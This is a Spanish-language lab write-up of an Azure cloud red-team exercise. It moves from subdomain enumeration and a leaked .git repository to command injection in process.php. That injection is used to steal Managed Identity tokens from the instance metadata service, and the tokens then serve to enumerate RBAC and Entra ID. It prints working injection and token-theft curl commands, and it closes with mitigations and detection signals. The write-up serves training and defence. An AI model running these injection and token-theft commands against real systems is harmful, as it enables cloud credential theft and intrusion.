Azure Cloud Red Teaming — CWL Meta Tech Assessment
Cadena de ataque contra infraestructura Azure: subdominio expuesto → fuga de .git → SSRF+RCE → robo de JWT vía IMDS (Metadata:true) → enumeración de RBAC y Entra ID vía Management y Graph API. Con guardrails de mitigación.
Azure Cloud Red Teaming — CWL Meta Tech Assessment
Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment (Módulo Azure) Plataforma: CyberWarFare Labs Objetivo: identificar y explotar misconfiguraciones en la infraestructura Azure de CWL Meta Tech Corporation.
1. Executive Summary & Attack Surface
El módulo Azure reproduce el mismo patrón de entrada que AWS (fuga de .git + process.php con SSRF+RCE) pero el post-explotación es radicalmente distinto: en lugar de credenciales estáticas (AccessKey/Secret), el pivot entrega un JWT de Managed Identity emitido por sts.windows.net, y la enumeración se hace íntegramente contra las REST APIs de Management y Microsoft Graph sin necesidad de CLI. El resultado es un mapa completo de RBAC a nivel suscripción y de identidades en Entra ID (grupos, usuarios, aplicaciones y sus permisos delegados).
Cadena de ataque
Superficie de ataque
| Vector | Detalle | Credenciales requeridas |
|---|---|---|
| Subdominio "internal" expuesto | internal.meta-tech.cloud resuelve a una VM de Azure, Apache/2.4.29 |
Ninguna |
Fuga de .git |
Mismo patrón que AWS: git-dumper entrega process.php |
Ninguna |
| SSRF + RCE | Parámetros ip → file_get_contents(), organization → system() |
Ninguna |
| Azure IMDS | 169.254.169.254 exige header Metadata: true |
Ninguna (vía RCE) |
| Managed Identity | El JWT obtenido tiene tid, oid y xms_mirid (resource ID completo) |
Token Bearer |
Initial access: la diferencia operativa clave con AWS es que Azure IMDS no devuelve credenciales "al descubierto": devuelve un access_token (JWT) firmado por sts.windows.net válido para un resource concreto (https://management.azure.com/ o https://graph.microsoft.com/). Hay que pedir un token por cada API que se quiera usar — un detalle que condiciona todo el post-explotación.
2. Privilege Escalation & Lateral Movement Path
2.1 Flag 1 — Enumeración de subdominios
gobuster dns --domain meta-tech.cloud \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
--threads 20 --resolver 8.8.8.8 --timeout 5s 2>/dev/null | grep -v ERROR
www.meta-tech.cloud
internal.meta-tech.cloud
curl -sI http://internal.meta-tech.cloud/
# HTTP/1.1 200 OK
# Server: Apache/2.4.29 (Ubuntu)
Flag 1: internal.meta-tech.cloud
2.2 Flag 2–3 — .git expuesto, SSRF+RCE y el JWT de IMDS
El dump del repositorio confirma el mismo process.php vulnerable (SSRF en ip, RCE en organization). La diferencia está en el metadata service:
curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"'
Decodificando el payload del JWT:
echo "<PAYLOAD_BASE64>" | base64 -d | python3 -m json.tool
{
"iss": "https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/",
"tid": "68b40a4c-50f1-48f3-b7cb-916dd82418a7",
"oid": "3c19c764-a8dd-492d-bae8-0b2146630ab1",
"xms_mirid": "/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm"
}
El claim xms_mirid (managed identity resource ID) expone el subscription ID, el resource group y el tipo de recurso en un solo string. Es la versión Azure del "metadata de identidad": mapea quién soy (oid), en qué tenant (tid) y sobre qué recurso tengo permisos (xms_mirid).
Flags 2–4: https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/ · 68b40a4c-50f1-48f3-b7cb-916dd82418a7 · 4ebaca3d-8642-4a01-b544-e62550598323
2.3 Flags 5–7 — RBAC: role assignments y custom roles
Con el token de Management API se enumeran los roleAssignments filtrados por el principalId de la identidad:
MGMT_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"')
MGMT_TOKEN=$(echo "$MGMT_RESP" | python3 -c "import sys,json;o,_=json.JSONDecoder().raw_decode(sys.stdin.read());print(o['access_token'])")
SUB="4ebaca3d-8642-4a01-b544-e62550598323"
OID="3c19c764-a8dd-492d-bae8-0b2146630ab1"
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$OID'" \
| python3 -m json.tool
{
"properties": {
"roleDefinitionId": "/subscriptions/.../providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7",
"scope": "/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323"
}
}
Resolución del GUID del rol y del custom role:
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7?api-version=2022-04-01" \
| python3 -m json.tool | grep roleName
# "roleName": "Reader"
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01&\$filter=roleName+eq+'custom-role-definition'" \
| python3 -m json.tool # GUID: 3073a810-518a-273e-97d6-c30abcf852cd
"permissions": [{
"actions": ["Microsoft.Resources/subscriptions/resourceGroups/read"],
"notActions": [],
"dataActions": [],
"notDataActions": []
}]
Flags 5–7: Reader (a nivel suscripción) · scope del custom role = …/virtualMachines/it-vm · Microsoft.Resources/subscriptions/resourceGroups/read
2.4 Flags 8–10 — Microsoft Graph: Entra ID
La enumeración cambia de plano: se solicita un segundo token (ahora contra https://graph.microsoft.com/) para hablar con Entra ID — dos tokens, dos APIs, una misma identidad:
GRAPH_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"')
GRAPH_TOKEN=$(echo "$GRAPH_RESP" | python3 -c "import sys,json;o,_=json.JSONDecoder().raw_decode(sys.stdin.read());print(o['access_token'])")
# Grupo "IT Ops" y sus miembros
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT+Ops'"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups/$GROUP_ID/members?\$select=displayName,mail,userPrincipalName"
# → it@meta-tech.cloud
# Aplicaciones y sus owners / permisos delegados
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'prod-app'"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications/$APP_OBJECT_ID/owners?\$select=displayName,userPrincipalName"
# → IT
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'dev-app'"
# requiredResourceAccess → resourceAppId 00000003-0000-0000-c000-000000000000 (Graph SP)
Resolviendo los GUIDs de requiredResourceAccess contra el Service Principal de Microsoft Graph:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId+eq+'00000003-0000-0000-c000-000000000000'&\$select=appRoles,oauth2PermissionScopes" \
| python3 -c "import sys,json;sp=json.load(sys.stdin)['value'][0];
for s in sp['oauth2PermissionScopes']:
print('Scope:', s['value'])
for r in sp['appRoles']:
print('AppRole:', r['value'])"
Scope: User.ReadWrite
AppRole: User.Read.All
Flags 8–10: it@meta-tech.cloud · IT · User.Read.All (AppRole de dev-app)
Lectura del hallazgo: un AppRole
User.Read.Alles un permiso de aplicación (application permission, sin usuario delegado): el principal puede leer cualquier perfil de usuario del tenant. Sidev-apptuviera secretos comprometidos o delegación configurada, ese permiso se convierte en exfiltración masiva de identidades.
2.5 Resumen de flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | Subdominio con app en Azure VM | internal.meta-tech.cloud |
| 2 | iss claim del JWT |
https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/ |
| 3 | Tenant ID | 68b40a4c-50f1-48f3-b7cb-916dd82418a7 |
| 4 | Subscription ID | 4ebaca3d-8642-4a01-b544-e62550598323 |
| 5 | Role subscription-level de VM identity | Reader |
| 6 | Scope de custom-role-definition | …/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm |
| 7 | Acción en custom-role-definition | Microsoft.Resources/subscriptions/resourceGroups/read |
| 8 | Email de miembro de IT Ops | it@meta-tech.cloud |
| 9 | Display name del owner de prod-app | IT |
| 10 | Permiso Graph de dev-app | User.Read.All (AppRole) |
3. Mitigation & Cloud Guardrails
3.1 Guardrails por capa
Web — cerrar el mismo trío de entrada (.git, SSRF, RCE):
location ~ /\.(git|env|aws|htaccess) { deny all; return 403; }
<?php
ini_set('disable_functions', 'system,exec,passthru,shell_exec,popen,proc_open');
$ip = filter_var($_POST['ip'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if ($ip === false) { http_response_code(400); exit; }
Azure — Managed Identity mínima:
- Deshabilitar acceso IMDS para identidades innecesarias en la VM (solo la identidad asignada que la app necesita).
- Revisar role assignments: la identidad de una VM de staging no debe tener
Readera nivel suscripción — restringir el scope al resource group o al recurso. UnReadera nivel suscripción permite la enumeración completa de RBAC (roleAssignments), que fue exactamente lo que expuso el custom role y el trust entre aplicaciones. - Custom roles: validar el conjunto de
actions(mínimo privilegio) y auditar quién puede crearlos. - Application permissions (
User.Read.All) sobre Graph: exigir aprobación de admin, revisión periódica derequiredResourceAccessy nunca colocar secretos de aplicación en código cliente o variables de pipeline. - Restringir
/adminy la appinternaltras la VPN/Azure Front Door, no en internet público.
3.2 Matriz finding → guardrail → detección
| Finding | Guardrail | Señal de detección |
|---|---|---|
| Subdominio "internal" público | NSG + no exponer apps internas | Azure Monitor: tráfico anómalo a internal.* |
.git expuesto |
deny all web server |
Peticiones GET /.git/config (WAF/App Gateway) |
SSRF+RCE en process.php |
Validación + disable_functions |
curl hacia 169.254.169.254 desde la app (Application Insights / NSG flow logs) |
Managed Identity con Reader amplio |
Role assignment acotado al recurso | Microsoft.Authorization/roleAssignments/read frecuentes desde la identidad de la VM |
User.Read.All en dev-app |
Revisión de requiredResourceAccess + approvals |
Logs de Graph con User.Read.All desde client_id inesperado |
3.3 Orden de prioridad
- Acotar role assignments de la Managed Identity (el
Readera nivel suscripción es la puerta de toda la enumeración RBAC). - Cerrar
.git+ SSRF/RCE (la entrada sin credenciales). - Auditar application permissions de Graph (
User.Read.Alles exfiltración potencial de todo el tenant). - Revisar custom roles y su scope de asignación.